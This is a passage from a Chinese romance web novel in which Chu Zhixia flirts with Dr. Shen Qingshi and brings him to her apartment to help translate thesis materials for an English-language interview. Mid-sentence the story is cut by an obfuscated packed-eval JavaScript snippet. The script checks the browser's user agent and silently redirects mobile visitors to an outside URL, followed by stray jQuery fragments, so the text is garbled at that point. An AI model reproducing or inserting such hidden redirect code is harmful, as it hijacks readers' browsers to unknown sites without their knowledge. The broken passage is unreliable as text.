“谁啊,这么讨厌,周皓——”
没法晒太阳了,初枳夏有些恼地抬起头,一猜想着很可能是周皓荧,他刚才临走前就不断回头看她,八成会回来抽查自己。
话没说完,猛一顿住。
“沈医生?”
这么一仰头阳光从侧面刺过来,就有些晒了,她一手撑在额头,又惊又喜地望向他,“您怎么在这里?坐坐坐。”她心情不好便有些懒,不想站起来。
沈青石俯视着她,道:“地上凉。”
她还是居家那套打扮,也是今天特意选过的,上次看牙自以为知道了他的喜好,特地换上了很清纯的白色大T恤,下面配了条浅色牛仔短裤,露出两条纤细而笔直的长腿,白运动鞋。青春娇柔的小白花。
初枳夏以为是他怕凉,便豪气地往旁边让了让,“那您坐我坐过的好了。”
沈青石:“……”
“你还是先起来,昨夜下过雨,地上很凉。”
而且她裤子实有些短,他不禁皱了皱眉。
“等等——您是在关心我嘛?”初枳夏后知后觉才听出了他话里的意思,笑容霎时如春花般灿烂,却还是没有站起来,而是仰起头,直视向他俊美清逸的脸。
不知为何,微微皱着眉,但眼底确实有一层浅淡的关心。
她不禁心情大好,朝他伸出一只右手,指甲圆润干净,涂着浅粉的颜色,泛着樱花般的美丽光泽:“那您拉我起来好啦。”
沈青石睇一眼她的手,身型却未动。
“快一点嘛,我昨天淋雨都有点感冒了,头晕晕的。”等待良久,她好委屈,撒娇道。
隐约间,她似听见沈青石低叹了一声,但不等她多想,一只属于男人的大手,便握住了她的那只手。
他的手有些凉,很大,简直能将她整个包住,又比她想象中还要修长有力,给人以冷静的感觉。
瘦削又纤长的手指尖,又像是指腹带着电,酥酥麻麻的电流霎时窜过她的手掌,一路顺着手臂往上蔓延。
半边身子都跟着酥麻,加之她也很意外,被他拉起来后,竟有些没站稳。
沈青石不由握得紧了一些,扶稳她。
这下刚才的触感更清晰了。
她下意识分开手指,同他十指交扣。
沈青石手臂似一僵,要收手,可初枳夏还没有完全站稳呢,握得更紧。
严丝合缝。
更多的电流涌过。
酥酥麻麻的触感。
那些电流又霎时间集合在一起,抵达到胸口,将她整颗心脏都包裹起来,用力收紧,不受控制地怦、怦、怦!
怦、怦、怦!!!
“好、好了……”
初枳夏怕他发现自己过于紧张,听见那么剧烈的心跳声,收回了手,慢慢细细摩挲着,“我站稳了,谢谢沈医生。”
抬头,却发现他半边耳朵也微微红了。
洁白如玉的耳廓像染上了红霞,因为那点红,映衬得清冷侧脸都漂亮得不可思议,下颌线收紧,喉结滚动。
两个人就这么站在原地,好一会儿都没有说话。
初枳夏竟也有点不敢看他,心跳如擂。
今天是周日,小区里人来人往,有不少住户路过他们,都不禁看上一会儿,嘴角含了笑。
他们就像是一对完美契合的小情侣,男俊女美,惊艳出众。
让人想看了再看。
太多视线了,沈青石神色清明一些,将手里那把握了许久的雨伞递给她,声音却比往日哑些,说:“你的伞,昨天谢谢你。”
原来……
有感觉的可能不只是她一个。
他……也想吗?
初枳夏想到这里,简直难以呼吸、喘不上气,只感觉双腿发软,要站不稳似的,但不由更勇敢了些,没有去接那把绛紫色的雨伞,而是上前一步,微微垫起了脚尖,凑近他肩膀。
周日,他没有穿白大褂,而是一件休闲款的深灰衬衣,黑色长裤。
她认出了那个牌子,是一个很贵很贵的大牌中最低调的一款,没有任何LOGO。
贵到她和周皓荧两个人一年工资加起来可能都买不起。
但,穿在他身上,就完全看不出衣服了,他比这件衣服还要矜贵万分。
初枳夏心动得厉害,再次凑近些,问:“您下午有没有空啊。”
沈青石没有躲——细想下来,他好像从来都没有躲过,只是低下头,气息恢复平和,定定望向她,“什么事。”
初枳夏俯到他耳边,也有点摸透他的秉性了,求助道:“拜托了,您可一定要救救我!我要完蛋了!”
*
初枳夏就这么有些心虚地把他拐进7号楼楼道里。
路过一脸八卦偷笑的管家小姐姐,初枳夏挤了下眼睛,领着他上了电梯,刷了20楼。
沈青石早已如常,神色平静地站在电梯里。
初枳夏隔着反光的墙壁暗暗打量他,总觉得他其实什么都知道,也清楚她在编瞎话骗人,昨天也是,那个问题也是她随便编出来的,他这么聪明,肯定都了然。
但,不知道是处于教养或礼貌不好拆穿,亦或是什么别的原因。
只要他不说,她就是要演下去。
更何况,她真的很喜欢和沈青石在一起。
停在二十楼,独门独户,看着防盗门,沈青石步伐还是稍一顿。
“手都拉了,电梯上来了,您不会这么传统吧——”
有了第一次就有第二次,初枳夏拽了下他胳膊往里进。
手都牵了,十指也扣了,碰下胳膊怎么了。
初枳夏将防盗门关好,想了想,直接反锁了。
沈青石:“……”
初枳夏帮他找来一次性拖鞋——幸好还有一双,让他在沙发上坐下。蜂蜜柚子茶没有了,她去找杯子给他倒水。
沈青石也没料到自己真会上来,看着玻璃杯里的水,声线有些低,道:“不必这么麻烦。”
“不麻烦,在这等我一下啊。”初枳夏又把周姨刚才洗净的蓝莓呈在小花碗里端到他面前,这才回到房间拿资料。
她动作很快,一会儿就回来了,把前几天一摞打印出来的厚厚论文塞给他。
编也要有点谱再编。
再说了,她也的确需要帮助。
沈青石看她一眼,接过,背脊轻倚着沙发,手支着扶手,低头认真翻阅。
初枳夏只觉得他看论文的样子都那么好看,优雅清贵。
她欣赏了好一会儿才走近,没有坐下,而是凑到了他身前,弯下腰指了指,“喏,前面就是我整理出来的语料库。到时候面试时老师会用英语提问,我回答的方向都在这些语料库里。您帮我翻译成英文好不好,尤其是老师可能的提问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634586|172612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。我用DEEPSEEK了,但有些专业词语,它总是翻不准。”
沈青石大致浏览了一遍,说:“我不是文科类的。”
初枳夏:“……”
“您是在讽刺我么?”
“我不是这个意思,”沈青石轻按了下眉心,温和同她解释:“我的意思是,我也不一定能很好理解这些理论,给你最精准的翻译,最好的方法,还是你直接去看英文论文。”
顿了顿,他补充道,也想说过很多次了,“不用叫我‘您’。”
“我要是有这能力,我还叫您来帮我干嘛。”初枳夏坐在了他身侧,拿起一只抱枕搂在了怀里,轻哼了一声,歪过头,偏要这么叫他。
“多看看就看懂了。”
沈青石继续往后翻着,都到研究生这步了,她学得也不是很基础的,很多文艺理论、社会学理论、美学理论相关。
这种文史哲学类,的确和他那种做实验、测数据不太相同。
可能有些真的较难理解,往后一页,都是用各色荧光笔勾出的,很刺眼。
“你到底帮不帮我嘛,你帮我这一次好不好嘛。”初枳夏又靠近了一些,眨巴眨巴眼睛,“你不帮我我真的会没命的,您想象一下,到时候面试现场,七八个老教授,然后他们提的英语专业问题我都听不懂,听不懂欸,直接开天窗那要多可怕——”
沈青石侧过脸,淡淡看向她。
那眼神像在说,你早干嘛了。
“关关难过关关过,像你们这种学霸,是不能理解我们艺术生的。我们专业上也有很多事,只能说走一步看一步。”初枳夏说到这里,左手很自然地搭了一下他的肩膀。
她自然到,甚至沈青石都没有感到什么不妥。随后,鼻翼间才浮动过一缕幽幽的暗香。
很淡很清雅,是一种极幽微的花香调,又有几分熟悉,给人一种梦幻的味道。
一瞬便逝。
“好闻嘛,”初枳夏也注意到了,手指动了动,凑过去闻了下腕骨,“是春天到处都有的紫藤花,我自己调的,更接近开到初夏的味道。”
调香是尹雪绫年轻时的爱好。
沈青石微微颔首,垂下眼睫。
难怪那味道熟悉,只是相较而言,真实的紫藤萝瀑布花香会更加浓郁,尤其开到初夏时节,迷离中透着粉状的脂粉香。但她的却中和了旁的香气——可能是柑橘,非常之淡,清新,如梦似幻。
“这样,我先给你找几篇英文论文你先看,然后我试试。”
他合上论文,对文史类涉略的确不多,但看她的那些语料库,也不算十分难。
“沈医生万岁!!!”
初枳夏恨不得想扑过去亲他一口。
但从刚才开始,沈青石便往旁边坐了些,又一幅生人勿近的冷清模样。
沈青石记下了她的重点和考核范围,看了看时间便要起身离去,客气道:“谢谢你的水。”
今天的一切,都让他实在出乎预料。
“您能不能再等一下,就再等一下下。”初枳夏自然很是不舍,也是真有些疑问,这些疑问埋在她心里很久了,不是不能问周皓荧,可总感觉周皓荧的答案浮于表面。
她想要从另一个角度理解自己。
听见她又说“您”,沈青石抿了下薄唇,还是站定了。
“我就想问,在您眼中,我是什么样的人?”